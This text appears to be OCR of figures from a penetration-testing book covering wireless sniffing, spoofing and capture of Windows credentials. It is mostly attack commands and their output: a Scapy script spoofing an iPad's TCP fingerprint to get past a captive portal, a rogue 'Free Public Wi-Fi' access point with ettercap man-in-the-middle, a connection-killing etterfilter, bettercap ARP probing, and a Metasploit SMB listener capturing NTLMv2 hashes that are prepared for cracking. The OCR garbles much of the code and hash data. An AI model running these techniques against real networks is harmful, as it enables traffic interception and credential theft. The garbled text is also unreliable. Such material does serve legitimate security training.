tcpopt = [( ,1460), ( ,None), ( 1e",2), ( ,None), ( ,None), ("Timest ,(123,0)), ( '
SYN = TCP(sport=SOURCEP, dport=80, flags="5", seq=1000, window=0xffff, options=tcpopt)
SYNACK = srl(ip/SYN)
ACK = TCP(sport=SOURCEP, dport=80, flags="A", seq=SYNACK.ack+l, ack=SYNACK.seq+l, window=0xffff)
send(ip/ACK)
request = ] ] 1 + CPIPADDRESS + 5.0 (iP _PU iPhon 1 > Mz
PUSH = TCP(sport=SOURCEP, dport=80, flags="FA", seq=1001, ack=0, window=0xffff)
send(ip/PUSH/request)
RST = TCP(sport=SOURCEP, dport=80, flags="R", seq=1001, ack=0, window=0xffff)
send(ip/RST)
1
&e Help B Write Out Where Is B3 Cut B Execute K@ Location Undo
R Exit Ml Read File g Replace Al Paste a8 Justify Ml Go To Line [§§& Redo

| root@kali: /home/kali/Downloads

File Actions Edit View Help

(root. kali)-[/home/kali/Downloads]
[:; chmod +x captiveportaliPad.py 1

[:—(rootn.kali)-[/home/kali/Downloads]

# ./captiveportaliPad.py 1
Begin emission:

Finished sending 1 packets.

*

ﬁeceived 2 packets, got 1 answers, remaining 0 packets
éent 1 packets.
éent 1 packets.
éent 1 packets.

[:;(rootn~kali)-[/home/kali/Downloads]
|




root@kali: fhome/kali
File Actions Edit View Help

.-[ 192.168.108.253/62610 -> 192.168.108.215/80 (mtu) ]-

client 192.168.108.253/62610
link Ethernet or modem
raw_mtu 1500

.-[ 192.168.108.253/7364 -> 192.168.108.215/80 (syn) 1-

192.168.108.253/7364

i0S iPhone or iPad

0

none

4:64+0:0:1460:65535,2:mss,nop,ws,nop,nop, ts,sok,eol+1:df,id+:0

{ client
| os

| dist
[

[

!

params
raw_sig

.-[ 192.168.108.253/7364 -> 192.168.108.215/80 (mtu) 1]-
client 192.168.108.253/7364

|
| link Ethernet or modem
| raw_mtu 1500

|




Chapter 3: Sniffing and Spoofing

(root. kali)-[/home/kali]
ifconfig wlan® down

L
L4
L
¥

(root. kali)-[/home/kali]
iwconfig wlan0 mode monitor

(root- kali)-[/home/kali]
ifconfig wlan@ up

root.. kali)-[/home/kali]
iwconfig wlan@

.
wlan0 IEEE 802.11 Mode:Monitor Frequency:2.462 GHz Tx-Power=20 dBm
Retry short 1long limit:2 RTS thr:off Fragment thr:off
Power Management:off
(e Capturing from wlan0 - o x
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
- = - = =
] s SEEaaqE
L ter . <t =5+
No. Time Source Destination Protocol Lengtt Info =
777 28.367720363 Sonos_c7:b7:d3 802.11 28 Acknowledgement, Flags=
778 28.368006715 Sonos_c5:3:0d 802.11 28 Acknowledgement, Flags=
779 28.467798355 BelkinIn_el:c2.. Broadcast 802.11 357 Beacon frame, SN=76, FN=0, Flags=........ , BI=100, SSID=YokNet - VPN
780 28.549150991 Cisco_d5:42:e9 Broadcast 802.11 298 Beacon frame, SN=564, FN=0, Flag .., BI=100, SSID=CiscoAirProvision
781 28.569950054 BelkinIn_el:c2.. Broadcast 802.11 357 Beacon frame, SN=77, FN=0, Flags=. BI=100, SSID=YokNet - VPN
782 28.632381803 Sonos_c5:f3:0d Broadcast 802.11 156 Probe Request, SN=523, FN=0, Flags=........ , SSID=Sonos_rduE32nq4ijbATnartn2iCFRXA
783 28.654124467 Sonos_c8:18:97 (78:.. 862.11 28 Acknowledgement, Flags=
784 28.654131995 Sonos_c5:44:23 (78:.. 802.11 28 Acknowledgement, Flags= "
785 28.718841491 2a:cd:c4:5e:71. Dongguan_09:ad:4d 802.11 422 Probe Response, SN=749, FN=0, Flags=........ , BI=100, SSID=DIRECT-59-HP M283 Laserlet
786 28.775012467 BelkinIn_el:c2.. Broadcast 802.11 357 Beacon frame, SN=79, FN=0, Flags , BI=100, SSID=YokNet - VPN
787 28.877430438 BelkinIn_el:c2.. Broadcast 802.11 357 Beacon frame, SN=80, FN=0, Flags , BI=100, SSID=YokNet - VPN
788 28.877439304 Sonos_c7:b7:d2 Broadcast 802.11 126 Data, SN=1105, FN=0, Flags=.
789 28.877442007 Sonos_c7:b7:d2 (78:.. 802.11 28 Acknowledgement, Flags=..
790 28.878804605 Sonos_c7:b7:d2 Broadcast 802.11 126 Data, SN=2607, FN=0, Flag: seaks
791 28.931369692 Shenzhen_78:51.. Broadcast 802.11 272 Probe Request, SN=3808, F Flags=........ , SSID=11n-AP
792 28.956034081 BelkinIn_el:c2.. Spanning-tree-(for-.. 802.11 96 Data, SN=2608, FN=0, Flags=
793 28.979716166 BelkinIn_el:c2.. Broadcast 802.11 357 Beacon frame, SN=81, FN=0, Flag , BI=100, SSID=YokNet - VPN
Frame 1: 357 bytes on wire (2856 bits), 357 bytes captured (2856 bits) on interface wlan@, id ©
Radiotap Header v@, Length 18

802.11 radio information
IEEE 802.11 Beacon frame, Flags:
IEEE 8062.11 Wireless Management

00
00
31
00
56
05
20
fa
of
00
02 10 47 00 10 40 81
38 e0 el c2 30 10 01

© 7 wlano: <live capture in progress>

12
80
60
64
50
04
01
6b
ac
dd

00
00
38
00
de
00
02
2a
04
31

2e
00
ed
1
o1
o1
03
o1
o1
00

48
00
el
04
08
00
04
06
00
50

00
f
c2
00
82
00
05
32
00
2

02
f
f3
6f
96
55
33
18
04
4a

9e
ff
a7
6b
12
53
08
30
01
00
42
01

09
ff
di
4e
24
20
21
60
00
01
c2
10

ao
60
71
65
48
01
05
30
00
10
11
49

00
38
e8
74
6c
b
06
14
of
10
e7
00

dd
e
1c
20
03
le
07
01
ac
44
80
06

Packets: 793 * Displayed: 793 (100.0%) Profile: Default




Elapsed: 54 s ][ 2021-06-27 19:02 ][ interface wlanO down

PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
-14 (0 0 1 WPA2 CCMP  PSK YokNet
-25 (0) 6 1 195 OPN YokNet - Visitors
-26 (0) 6 1 130 WPA2 CCMP PSK DIRECT-EO-HP ENVY Photo 7800
-34 ) 0 11 720 WPA2 CCMP PSK YokNet - VPN
-54 0 0 1 195 OPN YokNet - Visitors
-61 1 0 10 130 WPA2 CCMP PSK Vatsa Guest
-62 1 0 10 130 WPA2 CCMP PSK Namma Mane Govinda
-75 9 0 0 6 195 WPA2 CCMP PSK <length: 18>
-62 2 (0) O 6 195 WPA2 CCMP PSK <length: 0>
-73 8 0 0 10 195 WPA2 CCMP  PSK NETGEAR mm
-70 7 0 0 1 195 WPA2 CCMP PSK ARRIS-7E61
-73 8 1 O 6 195 WPA2 CCMP PSK PeakWifi
-73 3 (0) 0 6 195 WPA2 CCMP PSK <length: 0>
-74 8 0 0 6 195 WPA2 CCMP MGT <length: 0>
-73 3 2 O 6 195 WPA2 CCMP PSK ATTApxKtEa
-72 4 0 0O 6 195 WPA2 CCMP PSK <length: 0>
-76 5 0 0 2 130 WPA2 CCMP  PSK NETGEAR37
-74 7 0 0 6 130 WPA2 CCMP PSK MK2112-Net
-77 3 1 0 6 130 WPA2 CCMP PSK MK2112-Net
-79 2 2 0 10 WPA2 CCMP Namma Mane Govinda
Time Source Destination Protocol Lengtt Info
12.199533 32:de:08:1c:09:78 (.. 802.11 10 Acknowledgement, Flags=........
12.202626 ASUSTekC_94:59.. ASUSTekC_3b:6f:c8 (.. 802.11 16 Request-to-send, Flags=........
12.202630 ASUSTekC_94:59:a0 (.. 802.11 10 Clear-to-send, Flags=........
12.202632 ASUSTekC_3b:6f.. ASUSTekC_94:59:a0 (.. 802.11 28 802.11 Block Ack, Flags=........
12.217499 WiZIoT_20:7d:d2 (a8.. 802.11 10 Acknowledgement, Flags=........
12.295860 32:de:08:1c:09:f8 (.. 802.11 10 Acknowledgement, Flags=........
12.295868 32:de:08:1c:09.. ASUSTekC_59:a7:a0 802.11 24 Null function (No data), SN=770, FN=0, Flags=...P...T
12.296516 32:de:08:1c:09:18 (.. 802.11 10 Acknowledgement, Flags=........

89 Standard query Oxd5fd A r.wdfl.co

12.322961 32:de:08:1c:09:78 (.. 802.11 10 Acknowledgement, Flags=........
12.323267 32:de:08:1c:09.. ASUSTekC_59:a7:a0 802.11 24 Null function (No data), SN=771, FN=0, Flags=...P...T
BSSID Channel SSID Percent Packet ~ Percent Retry Retry Beacons DataPkts Probe =

60:38:e0:e1:c2:31 3 YokNet - VPN 1
» 0e:02:8e:9d:2c:64 3 BcsHouse 144 6.9 2 E 26
» 12:02:8e:9d:2¢:64 3 <Broadcast> 129 0.0 0 1 25
» 08:62:66:3b:6f:c8 3 YokNet 9.9 0.0 0 1 15
» 1c:87:2¢:48:8:20 3 YokNet 5.4 36.4 4 1 5
» b6:b9:8a:61:dd:2a 3 ORBIS8 5.0 10.0 1 1 8
> fEAfAfAFAfff 2 <Broadcast> 40 0.0 0 0 0
» dcef.09:03:4¢:48 11 NETGEAR82 35 0.0 0 1 5
» bab9:8a:5f:7e:60 3 <Broadcast> 3.0 0.0 0 3§ 4
» 40:16:7e:59:a7:al 11 YokNet - Visitors 2.0 0.0 0 1 3
» 78:96:84:0e:b6:50 <Broadcast> 2.0 0.0 0 0 4
» b6:b9:8a:5f.7e:60 3 ORBIS8 2.0 0.0 0 1 3
» 08:86:3b:33:4b:6e 6 belkin.b6e 15 0.0 0 1 2
» 0c:54:a5:cc:dc:20 6 Sparty8-2.4 10 0.0 0 1 0
» 70:8b:cd:c3:8a:79 11 YokNet - Visitors 10 0.0 0 1 1
» da:90:43:62:3a:f5 5 PeakWiFi 10 0.0 0 1 0
» 0a:90:43:62:37:49 11 <Broadcast> 0.5 0.0 0 1 0
» 0a:90:43:62:3a:f5 11 <Broadcast> 0.5 0.0 0 1 0
» 0a:90:43:62:41:ad 1 <Broadcast> 0.5 0.0 0 1 0
» 0c:54:a5:cc:dc:21 6 <Broadcast> 0.5 0.0 0 1 0
» Oc:54ia5:ccdc:22 6 xfinitywifi 0.5 0.0 0 1 0
» 28:cf:dab5:1d:11 1 Ferrari 0.5 0.0 0 1 0
> 2¢:99:24:29:18:91 11 ARRIS-1893 0.5 0.0 0 1 0
» 40:16:7e:59:a7:a0 11 \000\O0O\OOO\OOO0\O... 0.5 0.0 0 1 0
» 6a:54:fd:ab:2f:64 6 \000\000\000\000\0... 0.5 0.0 0 3 ¢ 0
» 6¢:b0:ce:0b:7b:dc 11 NETGEAR14 0.5 0.0 0 1 0
» 6e:b0:ce:5e:67:20 9 NETGEAR_Guest 0.5 0.0 0 1 0
» 7ael:03:71:5d:2d 6 \000\000\000\000\0... 0.5 0.0 0 1 0
» 92:3b:ad:34:57:87 10 ORBI16 0.5 0.0 0 1 0



[ W [wian.addr: 2e:a6:el =)+
No. _Time Source Destination Protocol Lengtt Info B o
530 282.147987783 Netgear_2e:a6:.. Dongguan 09:ad:4d  802.11 403 Probe Response, SN=3874, FN=6, BI=200, SSID=NETGEAR mm
531 282.151628623 Netgear 2e:a6:.. Dongguan 09:ad:4d  882.11 403 Probe Response, SN=3874, FN=0, BI=200, SSID=NETGEAR_mm
532 282.161436035 Netgear_2e:a6:.. Dongguan_09:ad:4d  802.11 403 Probe Response, SN=3874, FN=0, BI=200, SSID=NETGEAR_mm
533 282.164813482 Netgear_2e:a6:.. Dongguan 09:ad:4d  882.11 403 Probe Response, SN=3874, FN=0, BI=200, SSID=NETGEAR_mm
535 282.349423966 32:fe:70:26:56.. IPvdmcast_fb 802.11 182 Data, SN=3876, FN=@, Flags=.p...
536 282.351442686 32:fe:70:26:56.. IPvémcast_fb 802.11 202 Data, SN=3877, FN=0, Flags=.p....F.
538 283.936085993 Netgear 2e:a6:.. Broadcast 802.11 336 Beacon frame, SN=3885, FN=0, Flags=........ , BI=200, SSID=NETGEAR_ mm
543 285.358753608 32:fe:70:26:56.. IPvdmcast_fb 802.11 182 Data, SN=3892, FN=0, Flags=.p....F.
544 285.360337856 32:fe:70:26:56.. IPvémcast_fb 802.11 202 Data, SN=3893, FN=, Flags=.p....F.
545 285.689127054 Netgear_2e:a6:.. Dongguan_09:ad:4d 802.11 403 Probe Response, SN=3896, FN=0, Flags-. ...R..., BI=200, SSID=NETGEAR_mm
546 285.602441491 Netgear 2e:a6:.. Dongguan 09:ad4:4d  882.11 403 Probe Response, SN=3896, FN=0, Flags=....R..., BI=200, SSID=NETGEAR_mm
547 285.696226507 Netgear_2e:a6:.. Dongguan_09:ad:4d  802.11 403 Probe Response, SN=3896, FN=0, Flags=....R..., BI=200, SSID=NETGEAR_mm
Wireshark - Endpoints - test_capture e ® O
Ethernet- 9 | IPv4 - 133 ’ IPv6-2 TCP-504 @ UDP:274
Address  ~ Packets  Bytes  TxPackets = TxBytes  RxPackets Rx Bytes AS Number o=
63.140.61.185 91 40 k 41 16k 50 24 k AS15224 Adobe Systems Inc.
63.251.88.56 44 11k 21 7979 23 3867 AS10913 Internap Network Services Corporatio
63.251.98.12 58 18k 25 15k 33 3708 AS29791 Voxel Dot Net, Inc.
68.67.178.138 174 68 k 81 50 k 93 17 k AS29990 AppNexus, Inc
69.172.216.55 136 47k 59 37k 77 9544 AS7415 Integral Ad Science, Inc.
72.21.91.29 212 32k 94 18k 118 14 k AS15133 MCI Communications Services, Inc. d/
72.21.91.70 319 149 k 164 134k 155 14 k AS15133 MCI Communications Services, Inc, d/
72.21.206.140 146 14k 70 7413 76 6861 AS16509 Amazon.com, Inc.
72.21.206.141 82 4793 40 2525 42 2268 AS16509 Amazon.com, Inc.
72.30.3.43 7 493 4 295 3 198 AS26101 Yahoo!
74.119.119.69 25 7257 11 3651 14 3606 AS19750 Criteo Corp.
74.119.119.70 70 32k 33 28 k 37 4137 AS19750 Criteo Corp.
74.125.124.154 33 6594 17 4569 16 2025 AS15169 Google LLC
74.125.126.103 82 13k 7636 5917 AS15169 Google LLC

81.52.133.24 71 8046

29

AN2AD

33 222 AS5511 Orange
Selected

93.184.216.172 71k Apply as Filter \ $15133 MCI Communications Services, Inc. d/
96.16.205.50 38 5300 Prepare a Filter Not Selected 533668 Comcast Cable Communications, LLC
96.16.205.119 330 117k : S$33668 Comcast Cable Communications, LLC
Find ’ ..and Selected 'r e
4 »
o Colorize » ...or Selected [ :
| Nai Limit to display filt |Endpoint Types ~
..and not Selected
_@Help | ..or not Selected | Copy. ~j| Map ‘
[ [ip.addr==81,52.133.24 and http contains 200 ) -| Expression..  +
No. Time Source Destination  Protocol Length Info
16.168.108.50 HTTP 50 HTTP/ (text/plain)
108.16 HTTP 450 HTTP/1.1 260 OK text/plaln

tude: 8200
[Source GeoIP Longitude: 2 338700]
[Destination GeoIP: Unknown]

w Transmission Control Protocol, Src Port: 80, Dst Port: 36276, Seq: 1153, Ack: 1154, Len: 384

Source Port: 86
Destination Port: 36276
[Stream index: 0]

74

2d 73 72

@ 7 Source GeolP Country (ip.geoip.src_country), 4 bytes

74

3568 LA3.i<
w HTTP/l 11200 0
K..Conte nt-Type:
text/pl ain..Con
tent-Len gth: 8..
Last-Mod ified: M
on, 15 M
18:04:40
ag: "ae7
b94celdd
06123". .
anges: b
rver: Am
X-Amz-Cr
ncWxZnra
C67bCFPp
0XAOK-d6

80585f49
4eb7d289
Accept-R
ytes..Se
azon$3. .
-1d: uu-
XCKUT05Q
YnXvrv-Q
KBrhZTv)
ache-Con
-cache,

no-store , must-r

Packets: 33644 - Displayed: 5 (0.0%) -

-

Load time: 0:0.791  Profile: Default



(root. kali)-[/home/kali]
[:; ifconfig | grep inet
inet 192.168.249.129 netmask 255.255.255.0 broadcast 192.168.249.255
inet6 fe80::20c:29ff:fecl:fe96 prefixlen 64 scopeid 0x20<link>
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>

(root.. kali)-[/home/kali]
[:; ifconfig wlan0® 192.168.249.200 up

(root. kali)-[/home/kali]
[:; sysctl -w net.ipv4.ip forward=1
net.ipv4.ip_forward = 1

(root. kali)-[/home/kali]
[:; airmon-ng check kill

Killing these processes:

PID Name
3378 wpa_supplicant

(root. kali)-[/home/kali]
[:; hostapd /etc/hostapd/hostapd.conf -B
Configuration file: /etc/hostapd/hostapd.conf
Using interface wlan@ with hwaddr 00:c0:ca:8d:8a:e8 and ssid "Free Public Wi-Fi"
wlan0: interface state UNINITIALIZED->ENABLED
wlanO: AP-ENABLED

[:;(iootn-kali)-[/home/kali]

[:—(rootaokali)-[/home/kali]
# ettercap -T -q -B eth® -B wlan0@ -w FreeWifiTest

ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:
ethO® -> 00:0C:29:C1:FE:96
192 ,168.249.129/255.255.255.0
fe80::20c:29ff:fecl: fe96/64

Listening on:

wlan0 -> 00:C0:CA:8D:8A:E8
192.168.249.200/255.255.255.0
fe80::2¢c0:caff:fe8d:8ae8/64



Wireshark - Conversations - FreeWifiTest

Ethernet-14 | IPv4-83 IPv6 - 5 TCP - 119 UDP - 173
Address A ~ Address B Packets Bytes Packets A » B Bytes A - B Packets B - A Bytes B -» A Rel Start Duration =
0.0.0.0 255.255.255.255 8 2,944 8 2,944 0 0 64.192258 1.0397
23.203.117.64  192.168.249.130 80 36k 46 30k 34 6,284 133.683309 0.3609
34.120.88.80 192.168.249.130 414 174k 206 44k 208 129k 70.008178 4.6556
34.213.70.242  192.168.249.130 222 83k 110 64k 112 18k 98.779466 39.2805
34.216.7.233 192.168.249.130 558 154k 340 88k 218 66k 68.215333 101.5370
35.244.184.98  192.168.249.130 32 13k 16 9,468 16 3,622 132.844300 0.2158
40.126.28.12 192.168.249.130 170 96k 92 72k 78 24k 98.345156 13.2990
44.228.251.54  192.168.249.130 114 40k 62 29k 52 10k 84.127095 53.9329
44.238.20.175  192.168.249.130 60 21k 32 15k 28 6,164 70.199100 60.6608
52.84.21.205 192.168.249.130 46 19k 22 16k 24 2,950 132.931965 0.5403
52.84.22.49 192.168.249.130 774 583k 446 558k 328 24k 81.566945 56.4537
52.85.89.44 192.168.249.130 118 41k 62 28k 56 12k 79.541030 58.4797
52.85.90.223 192.168.249.130 402 348k 244 332k 158 15k 72.925389 0.6743
52.96.66.162 192.168.249.130 268 215k 166 179k 102 36k 110.331202 1.1685
52.114.36.4 192.168.249.130 60 25k 30 16k 30 9,574 102.867361 10.2208 |
52.114.76.37 192.168.249.130 48 20k 26 15k 22 5,452 72.252076 122.2638
52.232.209.85 192.168.249.130 92 34k 50 26k 42 8,410 68.073293 105.1465 |
54.88.188.142  192.168.249.130 84 38k 48 29k 36 8,856 130.878319 61.3894
69.147.65.252  192.168.249.130 78 35k 38 19k 40 15k 79.721440 58.2991
74.125.9.73 192.168.249.130 420 426k 294 400k 126 25k 143.504882 0.5349
74.125.159.9 192.168.249.130 808 844k 630 812k 178 31k 143.356845 24.5113
74.125.159.27  192.168.249.130 40 16k 18 6,686 22 9,332 143.347728 24.5006
92.223.69.56 192.168.249.130 160 30k 88 19k 72 10k 83.058972 54.9614
108.177.120.139 192.168.249.130 196 105k 86 17k 110 88k 143.205482 37.4106
137.188.88.121 192.168.249.130 42 11k 22 8,592 20 2,810 66.425757 0.4063
141.207.187.233 192.168.249.130 56 20k 28 8,976 28 11k 141.144324 19.4599
142.250.190.3  192.168.249.130 106 55k 54 37k 52 18k 129.231237 6.0366
142.250.190.10 192.168.249.130 462 211k 228 60k 234 151k 66.425753 105.5302 |
142.250.190.14 192.168.249.130 180 74k 94 55k 86 19k 130.278148 7.5980
142.250.190.34 192.168.249.130 104 71k 56 45k 48 26k 135.468311 8.7717 |+
< »
Limit to display filter Absolute start time Conversation Types ~ |
copy | Xclose || §¢Help |

GNU nano 5.4 filter sshsmtp

.

if (ip.proto =

= TCP) {

if (tcp.src == 22 || tcp.dst == 22 || tcp.src == 25 || tcp.dst == 25) {

}
i

}

msg("SSH or SMTP communication detected. Killing connection.\n");

drop();
kitlt();



(root. kali)-[/home/kali]
[:; etterfilter filter sshsmtp

etterfilter 0.8.3.1 copyright 2001-2020 Ettercap Development Team
14 protocol tables loaded:
DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth

13 constants loaded:
VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP

Parsing source file 'filter sshsmtp' done.
Unfolding the meta-tree done.

Converting labels to real offsets done.
Writing output to 'filter.ef' done.

-> Script encoded into 13 instructions.

I|H |tcp.port == 22 — ~| Expression..

No. Time Source Destination Protocol Length Info
! 81, 522 ~192.168.59.13 130.2; TCP 66 52637 —~ 22 [SYN] Seg=
22 ~ 52637 [RST]
£ - 22 [RST] S
24.127.130. 4 ~ 52637 [RST]
: 24.127.130, 192.168.59. ~ 52637 [RST]
.529203 .59.13 24.127.130.¢ 52637 -~ 22 [RST]
.532894 / 30. - 22 — 52637 [RST] S
529390 .59.1 4,127. 3 52637 ~ 22 [RST]
533246 .168. 22 - 52637 [RST]
.532920 5 52637 ~ 22 [RST] Seq=347 71 Win=8388352 Len=
.533293  192.168.59.1 24.127.130. 52637 ~ 22 [RST] 388352 Len=
.536571  24.127.130. 192.168.59.1 22 ~ 52637 [RST] (5 0
.537846  24.127.130. 192.168.59.132 22 - 52637 [RST]
.538098  24.127.130. 192.168.59. 22 ~ 52637 [RST] Seq=1 Win=32767
1.538201  24.127.130. 192.168.59. 22 — 52637 [RST] Win=32767 I
.538276  24.127.130.2 192.168.59,132 4 22 ~ 52637 [RST] Win=32767
.540871  24.127.130. 192.168.59, 22 - 52637 [RST] Seq=1 Win=32767 =
.536604  192.168.59.13 24.127.130.: 52637 — 22 [RST] Seq=3479480771 Win
.541117  24.127.130. 192.168.59, 22 - 52637 [RST] Seq=1 Win=32767 Len=0

No. Time Source Destination Protocol .Length Info

N].

BEVEOR

4

» Frame 979: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

» Ethernet II, Src: IntelCor_dd:be:54 (f0:d5:bf:dd:be:54), Dst: Vmware f9:e8:11 (00:50:56:79:e8:11)
» Internet Protocol Version 4, Src: 192.168.59.132, Dst: 24.127.130.238

» [Transmission Control Protocol, Src Port: 49364, Dst Port: 22, Seq: @, Len: O




3 24.127.130.238 - PuTTY 1 QJLU(:}MQJ x|

1

'\QI Network error: Connection timed out

-

GNU nano 5.4 http-ui.cap
& api listening on http://127.0.0.1:8081/ and ui to http://127.0.0.1
set api.rest.address 127.0.0.1
set api.rest.port 8081
set http.server.address 127.0.0.1
set http.server.port 80
# default installation path of the uil
set http.server.path /usr/share/bettercap/ui

# 111 CHANGE THESE !'!!
set api.rest.username user
set api.rest.password pass

# go!
api.rest on
http.server on



bettercap ui1.3.0 - Mozilla Firefox

29 bettercap ui 1.3.0 x |+

¢« > C @ © ® 127.0.0.1/%/events e O 1Y N @O &

& Kali Linux ¥ Kali Training Y Kali Tools ¥ Kali Forums Kali Docs (& NetHunter L Offensive Security & MSFU % Exploit-DB % GHDB

Time

7/12/21, 7:25 PM  sys.log INFO: http.server starting on http://127.0.0.1:80

7/12/21, 7:25 PM  sys.log INFO: api.rest api server starting on http://127.0.0.1:8081
7/12/21, 7:25 PM  mod.started http.server

7/12/21, 7:25 PM  mod.started  api.rest

7/12/21, 7:25 PM mod.started events.stream

7/12/21, 7:25 PM  sys.log INFO: gateway monitor started ...

»  Start net.probe module.




No. Time Source Destination Protocol Lengtt Info

933 7.090045839 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.188? Tell 192.168.108.253
934 7.122469589 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.189? Tell 192.168.108.253
935 7.122521055 VMware_cil:fe:96 Broadcast ARP 42 Who has 192.168.108.190? Tell 192.168.108.253
936 7.122536841  VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.191? Tell 192.168.108.253
937 7.154030383 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.192? Tell 192.168.108.253
938 7.154090154 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.193? Tell 192.168.108.253
939 7.154106374 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.194? Tell 192.168.108.253
940 7.185816552 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.195? Tell 192.168.108.253
941 7.185876685 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.197? Tell 192.168.108.253
942 7.185895329 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.196? Tell 192.168.108.253
943 7.217807548 VMware_ci1:fe:96 Broadcast ARP 42 Who has 192.168.108.201? Tell 192.168.108.253
944 7.217847326 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.199? Tell 192.168.108.253
945 7.217848552 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.200? Tell 192.168.108.253
946 7.217848829 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.198? Tell 192.168.108.253
947 7.250440278 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.204? Tell 192.168.108.253
948 7.250445165 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.202? Tell 192.168.108.253
949 7.250505090 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.203? Tell 192.168.108.253
950 7.281688414 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.207? Tell 192.168.108.253
951 7.285202061 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.206? Tell 192.168.108.253
952 7.285249176 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.205? Tell 192.168.108.253
953 7.313265523 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.209? Tell 192.168.108.253
954 7.317338540 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.208? Tell 192.168.108.253
955 7.346105641 VMware_cil:fe:96 Broadcast ARP 42 Who has 192.168.108.211? Tell 192.168.108.253
956 7.346154323 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.213? Tell 192.168.108.253
957 7.346168186 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.2127 Tell 192.168.108.253
958 7.377460536 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.214? Tell 192.168.108.253
959 7.377511791  VMware_ci1:fe:96 Broadcast ARP 42 Who has 192.168.108.215? Tell 192.168.108.253
960 7.377528753 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.216? Tell 192.168.108.253
961 7.409999980 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.217? Tell 192.168.108.253
962 7.442410377 VMware_cl:fe:96 Broadcast ARP 42 Who has 192.168.108.221? Tell 192.168.108.253

= http.server

net.probe.throttle

10

net.probe.upnp

true

net.probe.wsd




Chapter 4: Windows Passwords on the Network

msf6 auxiliary(server/capture/smb) > show options

Module options (auxiliary/server/capture/smb):

Name Current Setting Required Description

CAINPWFILE no The local filename to store the hashes in Cain&Abel format

CHALLENGE =~ 1122334455667788 yes The 8 byte server challenge

JOHNPWFILE no The prefix to the local filename to store the hashes in John format

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local
machine or 0.0.0.0 to listen on all addresses.

SRVPORT 445 yes The local port to listen on.

Auxiliary action:

Name Description

[j—(kaliéékali)—[~}
$ ifconfig eth® | grep inet

inet 192.168.108.253 netmask 255.255.255.0 broadcast 192.168.108.255
inet6 fe80::20c:29ff:fecl:fe96 prefixlen 64 scopeid 0x20<link>

msf6 auxiliary(server/capture/smb) > set SRVHOST 192.168.108.253
SRVHOST => 192.168.108.253

msf6 auxiliary(server/capture/smb) > exploit
[*] Auxiliary module running as background job 0.

[*] Started service listener on 192.168.108.253:445
[*] Server started.

msfé auxiliary(server/capture/smb) > |



msf6 auxiliary(server/capture/smb) > [*] Started service listener on 192.168.108.253:445

[*] Server started.

[*] SMB Captured - 2021-08-09 16:10:34 -0400

NTLMv2 Response Captured from 192.168.108.233:58838 - 192.168.108.233

USER:Phil Bramwell DOMAIN:FEDERALBANK-VP 0S: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:e8cfbal2c93c7260fb2ede4ca3823074
NT_CLIENT_CHALLENGE:010100000000000073d3019d5a8dd701de95b12ab6daSh4f00000000020000000000000000000000
[*] SMB Captured - 2021-08-09 16:10:35 -0400

NTLMv2 Response Captured from 192.168.108.233:58838 - 192.168.108.233

USER:Phil Bramwell DOMAIN:FEDERALBANK-VP 0S: LM:

LMHASH:Disabled

LM CLIENT CHALLENGE:Disabled

NTHASH: 06865907 c4cd34d8d5c88ba%a0861f7

NT_CLIENT CHALLENGE:0101000000000000c1ba499d5a8dd701da42c3e0768T4fee00000000020000000000000000000000
[*] SMB Captured - 2021-08-09 16:10:35 -0400

NTLMv2 Response Captured from 192.168.108.233:58838 - 192.168.108.233

USER:Phil Bramwell DOMAIN:FEDERALBANK-VP 0S: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH: e44e242d89b93adf2784d1e2aaa7825f
NT_CLIENT_CHALLENGE:0101000000000000c1ba499d5a8dd70105b2261282e3369700000000020000000000000000000000
[*] SMB Captured - 2021-08-09 16:10:35 -0400

NTLMv2 Response Captured from 192.168.108.233:58838 - 192.168.108.233

USER:Phil Bramwell DOMAIN:FEDERALBANK-VP 0S: LM:

LMHASH:Disabled

LM_CLIENT CHALLENGE:Disabled

NTHASH:769e789d3d0ce05b812448117d18aa57

NT_CLIENT CHALLENGE:0101000000000000c1ba499d5a8dd7010e544c5958417e7e00000000020000000000000000000000

GNU nano 5.4 john netntlmv2

Phil Bramwell::FEDERALBANK-VP:1122334455667788:e8cfbal2c93c7260fb2e0edca3823074:010100000000000073d3019d5a8dd701de95b12abbda5ha f060000000200000)
Phil Bramwell::FEDERALBANK-VP:1122334455667788:06865€907c4cd34d8d5c88ba9a0861f7:0101000000000000c1bad99d5a8dd701dad2c3e0768f4fee000000000200000
